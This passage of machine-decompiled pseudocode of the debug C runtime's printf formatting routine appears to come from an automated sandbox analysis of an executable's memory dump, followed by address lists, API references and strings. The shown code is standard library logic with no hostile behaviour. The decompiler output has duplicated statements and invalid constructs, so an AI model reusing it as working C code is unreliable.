														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L97:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L98:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L99:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L100:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L108:
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004284A0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004284A0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004284A0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E004308C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E00430940( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041E350();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422E40(_t574))) = 0x16;
										E00422BD0(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041ADF0(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041E350();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041ADF0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00422E40(_t561))) = 0x16;
									E00422BD0(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041ADF0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
						__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041ADF0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BDF0(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434e17
0x00434e17
0x00434e17
0x00434e17
0x00434e17
0x00434e17
0x00434e1b
0x00434e20
0x00434e23
0x00434e30
0x00000000
0x00000000
0x00434e36
0x00434e36
0x00434e38
0x00434e46
0x00434e3a
0x00434e3a
0x00434e3a
0x00434e50
0x00434e56
0x00434e63
0x00434e65
0x00434e6a
0x00434e6c
0x00434e71
0x00434e76
0x00434e78
0x00434e7d
0x00434e83
0x00434e85
0x00434e85
0x00434e83
0x00434e8d
0x00434ed5
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x004353cc
0x004353d2
0x004353dc
0x004353f1
0x00435406
0x00435408
0x0043540c
0x0043540c
0x004353f3
0x004353f3
0x004353f7
0x004353f7
0x004353de
0x004353de
0x004353e2
0x004353e2
0x004353dc
0x0043541c
0x00435428
0x0043543e
0x00435443
0x00435443
0x00435459
0x0043545e
0x00435467
0x0043546f
0x00435485
0x0043548a
0x0043548a
0x0043546f
0x00435491
0x00435565
0x00435578
0x0043557d
0x00000000
0x00435497
0x00435497
0x0043549b
0x00000000
0x00000000
0x004354a1
0x004354a1
0x004354ae
0x004354b7
0x004354bd
0x004354bd
0x004354cc
0x004354d4
0x00000000
0x00000000
0x004354da
0x004354e3
0x00435502
0x00435507
0x0043550a
0x00435519
0x00435526
0x00435531
0x00435531
0x00000000
0x00435531
0x00435528
0x0043552f
0x0043553d
0x00435556
0x0043555b
0x00000000
0x0043555b
0x00000000
0x0043552f
0x00435563
0x00435580
0x00435587
0x0043558f
0x004355a5
0x004355aa
0x004355aa
0x0043558f
0x00435587
0x004355ad
0x004355b1
0x004355b9
0x004355be
0x004355c1
0x004355c1
0x004355c8
0x004355c8
0x0043469f
0x004346a5
0x004346b2
0x004346b7
0x00000000
0x004346ca
0x004346d4
0x004346fb
0x004346e2
0x004346f3
0x004346f3
0x004346d4
0x00434705
0x0043470b
0x00434717
0x0043471a
0x00434728
0x0043472b
0x00434738
0x004347dd
0x004347e3
0x004347f0
0x00000000
0x00000000
0x004347f6
0x004347fc
0x00000000
0x00434803
0x00434803
0x0043481b
0x00434820
0x00434823
0x00434825
0x004348df
0x004348f2
0x004348f7
0x00000000
0x0043482b
0x0043483e
0x00434843
0x00434849
0x0043484b
0x00434854
0x00434854
0x00434857
0x00434863
0x00434867
0x0043486d
0x0043486f
0x00434874
0x00434876
0x0043487b
0x00434880
0x00434882
0x00434887
0x0043488a
0x0043488d
0x0043488f
0x0043488f
0x0043488d
0x00434890
0x00434890
0x00434897
0x00000000
0x00434899
0x0043489e
0x004348ba
0x004348c2
0x004348cf
0x004348d4
0x00000000
0x004348d4
0x00434897
0x00000000
0x004348ff
0x004348ff
0x00434906
0x00434909
0x0043490c
0x0043490f
0x00434912
0x00434915
0x00434918
0x0043491f
0x00434926
0x00000000
0x00000000
0x00434932
0x00434932
0x00434939
0x00434945
0x00434948
0x0043494e
0x00434955
0x00000000
0x00000000
0x00434957
0x00434957
0x0043495d
0x0043495d
0x00434964
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349a7
0x004349a7
0x004349ae
0x004349b1
0x004349db
0x004349de
0x004349de
0x004349e1
0x004349e8
0x004349e8
0x004349ec
0x004349b3
0x004349b3
0x004349bf
0x004349c2
0x004349c6
0x004349c8
0x004349cb
0x004349cb
0x004349ce
0x004349d4
0x004349d6
0x004349d6
0x004349d9
0x00000000
0x00000000
0x004349f4
0x004349f4
0x00000000
0x00000000
0x00434a00
0x00434a00
0x00434a07
0x00434a0a
0x00434a2a
0x00434a2d
0x00434a2d
0x00434a37
0x00434a37
0x00434a3b
0x00434a0c
0x00434a0c
0x00434a18
0x00434a1b
0x00434a1f
0x00434a21
0x00434a21
0x00434a28
0x00000000
0x00000000
0x00434a43
0x00434a43
0x00434a4a
0x00434a56
0x00434a59
0x00434a5f
0x00434a66
0x00434b79
0x00000000
0x00434b79
0x00434a6c
0x00434a6c
0x00434a72
0x00434a72
0x00434a79
0x00000000
0x00434aaf
0x00434aaf
0x00434ab2
0x00434ab5
0x00434ab8
0x00434ae0
0x00434ae0
0x00434ae3
0x00434ae6
0x00434ae9
0x00434b0e
0x00434b0e
0x00434b11
0x00434b14
0x00434b17
0x00434b50
0x00434b61
0x00000000
0x00434b61
0x00434b19
0x00434b19
0x00434b1c
0x00434b1f
0x00434b22
0x00000000
0x00000000
0x00434b24
0x00434b24
0x00434b27
0x00434b2a
0x00434b2d
0x00000000
0x00000000
0x00434b2f
0x00434b2f
0x00434b32
0x00434b35
0x00434b38
0x00000000
0x00000000
0x00434b3a
0x00434b3a
0x00434b3d
0x00434b40
0x00434b43
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b48
0x00434b4b
0x00434b4e
0x00434b52
0x00000000
0x00434b52
0x00000000
0x00434b4e
0x00434aeb
0x00434aeb
0x00434aee
0x00434af2
0x00434af5
0x00000000
0x00434af7
0x00434afa
0x00434afd
0x00434b00
0x00434b03
0x00434b09
0x00000000
0x00434b09
0x00434af5
0x00434aba
0x00434aba
0x00434abd
0x00434ac1
0x00434ac4
0x00000000
0x00434ac6
0x00434ac9
0x00434acc
0x00434acf
0x00434ad2
0x00434ad8
0x00000000
0x00434ad8
0x00000000
0x00434b63
0x00434b66
0x00434b69
0x00000000
0x00000000
0x00434a80
0x00434a80
0x00434a83
0x00434a86
0x00434a89
0x00434aa1
0x00434aa4
0x00434aa4
0x00434aa7
0x00434a8b
0x00434a8e
0x00434a91
0x00434a97
0x00434a9c
0x00434a9c
0x00000000
0x00000000
0x00434b6e
0x00434b6e
0x00434b71
0x00434b71
0x00434b76
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b7e
0x00434b7e
0x00434b85
0x00434b91
0x00434b94
0x00434b9a
0x00434ba1
0x00000000
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x0043537c
0x0043537f
0x00435382
0x00435385
0x00435388
0x0043538b
0x00435391
0x00435391
0x00435391
0x00435399
0x0043539d
0x00000000
0x00000000
0x0043539f
0x0043539f
0x004353a2
0x004353a5
0x004353a5
0x004353aa
0x004353ad
0x004353b0
0x004353b3
0x004353b6
0x004353b9
0x004353bc
0x004353bc
0x004353bf
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00434ba7
0x00434bad
0x00434bad
0x00434bb4
0x00000000
0x00434f0e
0x00434f0e
0x00434f15
0x00434f1c
0x00434f1c
0x00434f1f
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc4
0x00434bc6
0x00434bc9
0x00434bc9
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
0x00434d03
0x00434d05
0x00434d08
0x00434d08
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x004350db
0x004350db
0x00000000
0x00000000
0x00434c65
0x00434c65
0x00434c71
0x00434c77
0x00434c7e
0x00434c8c
0x00434c8c
0x00434c92
0x00434c95
0x00434ca1
0x00434cf6
0x00000000
0x00434cf6
0x00434c80
0x00434c80
0x00434c86
0x00434c8a
0x00434ca6
0x00434ca9
0x00434ca9
0x00434caf
0x00434cd7
0x00434cde
0x00434ce4
0x00434ce7
0x00434cea
0x00434cf0
0x00434cf3
0x00434cb1
0x00434cb1
0x00434cb7
0x00434cba
0x00434cbd
0x00434cc3
0x00434cc6
0x00434cc9
0x00434ccb
0x00434cce
0x00434cce
0x00000000
0x00434caf
0x00000000
0x00000000
0x00434f25
0x00434f28
0x00434f2b
0x00434f2e
0x00434f34
0x00434f37
0x00434f3e
0x00434f42
0x00434f4d
0x00434f4d
0x00434f51
0x00434f68
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f78
0x00434f78
0x00434f7f
0x00434f90
0x00434f9f
0x00434fa2
0x00434fa6
0x00434fbc
0x00434fa8
0x00434fa8
0x00434fab
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fa6
0x00434fc6
0x00434fc9
0x00434fcc
0x00434fcf
0x00434fd2
0x00434fd5
0x00434fdb
0x00434fe1
0x00434fe9
0x00434fea
0x00434fed
0x00434fee
0x00434ff1
0x00434ff2
0x00434ff9
0x00434ffa
0x00434ffd
0x00434ffe
0x00435001
0x00435002
0x00435008
0x00435009
0x00435017
0x00435019
0x0043501f
0x0043501f
0x00435025
0x00435027
0x0043502b
0x0043502d
0x00435035
0x00435036
0x00435039
0x0043503a
0x00435048
0x0043504a
0x0043504a
0x0043502b
0x0043504d
0x00435054
0x00435057
0x0043505c
0x0043505c
0x00435062
0x00435064
0x0043506c
0x0043506d
0x00435070
0x00435071
0x00435080
0x00435082
0x00435082
0x00435062
0x00435085
0x00435088
0x0043508b
0x0043508e
0x00435093
0x00435099
0x0043509c
0x0043509f
0x0043509f
0x004350a2
0x004350a2
0x004350a5
0x004350b1
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004353c2
0x00434f53
0x00434f53
0x00434f5a
0x00434f5d
0x00000000
0x00000000
0x00434f5f
0x00434f5f
0x00000000
0x00434f5f
0x00434f44
0x00434f44
0x00000000
0x00000000
0x00434bd1
0x00434bd4
0x00434bd4
0x00434bda
0x00434c35
0x00434c3d
0x00434c44
0x00434c4a
0x00434c50
0x00434bdc
0x00434bdc
0x00434be6
0x00434bea
0x00434bf2
0x00434bf9
0x00434c06
0x00434c0d
0x00434c19
0x00434c1f
0x00434c26
0x00434c28
0x00434c28
0x00434c2f
0x00434c57
0x00434c5d
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004350b9
0x004350bc
0x004350bf
0x004350c2
0x00000000
0x00000000
0x00000000
0x00000000
0x0043511c
0x0043511c
0x00435126
0x00435126
0x0043512c
0x0043512e
0x00435131
0x00435131
0x00435137
0x00435137
0x00000000
0x00000000
0x004350d4
0x004350d4
0x00000000
0x00000000
0x00434d11
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d4a
0x00434d50
0x00434db7
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de4
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df1
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e06
0x00434e0c
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d85
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d92
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00000000
0x004350cb
0x004350cb
0x00000000
0x00000000
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00435258
0x00435258
0x0043525e
0x00435264
0x0043526a
0x00000000
0x00435218
0x00435218
0x00435218
0x0043521f
0x00000000
0x00000000
0x00435221
0x00435221
0x0043522c
0x00435232
0x00435234
0x0043523a
0x0043523d
0x0043523f
0x00435245
0x0043524e
0x00435253
0x00435270
0x00435273
0x00435273
0x00435278
0x0043527d
0x0043527d
0x00435283
0x00435285
0x0043528b
0x00435291
0x00435291
0x0043529a
0x0043529a
0x00435283
0x004352a0
0x004352a4
0x004352b2
0x004352b5
0x004352b8
0x004352bf
0x004352c1
0x004352c1
0x004352a6
0x004352a6
0x004352a6
0x004352ce
0x004352ce
0x004352d4
0x004352d6
0x004352d6
0x004352dd
0x004352e0
0x004352e3
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x004352f3
0x004352f9
0x004352f9
0x004352ff
0x00000000
0x00000000
0x00435301
0x00435301
0x00435304
0x00435307
0x0043530e
0x00435315
0x0043531d
0x00435323
0x00435326
0x00435329
0x00435330
0x0043533c
0x00435342
0x00435348
0x0043534f
0x00435351
0x00435357
0x00435357
0x0043535d
0x0043535d
0x00435363
0x00435366
0x0043536c
0x00435371
0x00435374
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x00000000
0x004352f1
0x004352e3
0x00435223
0x00435223
0x0043522a
0x00000000
0x00000000
0x00000000
0x0043522a
0x00000000
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x00000000
0x00434981
0x00434984
0x00434987
0x00000000
0x00000000
0x0043498c
0x0043498f
0x00434994
0x00000000
0x00000000
0x00434976
0x00434976
0x00434979
0x0043497c
0x00000000
0x00000000
0x0043496b
0x0043496e
0x00434971
0x00000000
0x00000000
0x00434999
0x00434999
0x0043499c
0x0043499c
0x0043499f
0x00000000
0x00000000
0x004349a2
0x00000000
0x00000000
0x0043473e
0x00434740
0x0043474e
0x00434742
0x00434742
0x00434742
0x00434758
0x0043475e
0x0043476b
0x0043476d
0x00434772
0x00434774
0x00434779
0x0043477e
0x00434780
0x00434785
0x0043478b
0x0043478d
0x0043478d
0x0043478b
0x0043478e
0x00434795
0x00000000
0x00434797
0x0043479c
0x004347b8
0x004347c0
0x004347cd
0x004347d2
0x00000000
0x004347d2
0x00434795
0x00434738
0x004355cd
0x004355d4
0x004355eb
0x004355eb
0x004355f5
0x004355f5
0x004355fb
0x00435608
0x0043560a
0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435628
0x0043562a
0x0043562a
0x00435628
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004355d6
0x004355dd
0x00000000
0x00000000
0x004355df
0x004355df
0x00000000
0x004355df
0x00434e8f
0x00434e8f
0x00434e94
0x00434eb0
0x00434eb8
0x00434ec2
0x00434ec5
0x00434eca
0x00435691
0x0043569e
0x0043569e
0x00434eda
0x00434ee0
0x00434f00
0x00434ee2
0x00434eef
0x00434eef
0x00434f02
0x00000000
0x00434f02

APIs

_get_int_arg.LIBCMTD ref: 00434E1B
__get_printf_count_output.LIBCMTD ref: 00434E29
__invalid_parameter.LIBCMTD ref: 00434EB0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434EC5
_write_multi_char.LIBCMTD ref: 0043543E
_write_string.LIBCMTD ref: 00435459
_write_multi_char.LIBCMTD ref: 00435485
_wctomb_s.LIBCMTD ref: 00435502

Strings

("Incorrect format specifier", 0), xrefs: 0043476D, 004347B3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00434779, 004347A9, 00434E71, 00434EA1
_output_s_l, xrefs: 004347AE, 00434EA6
-, xrefs: 004353DE
("'n' format specifier disabled", 0), xrefs: 00434E65, 00434EAB

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
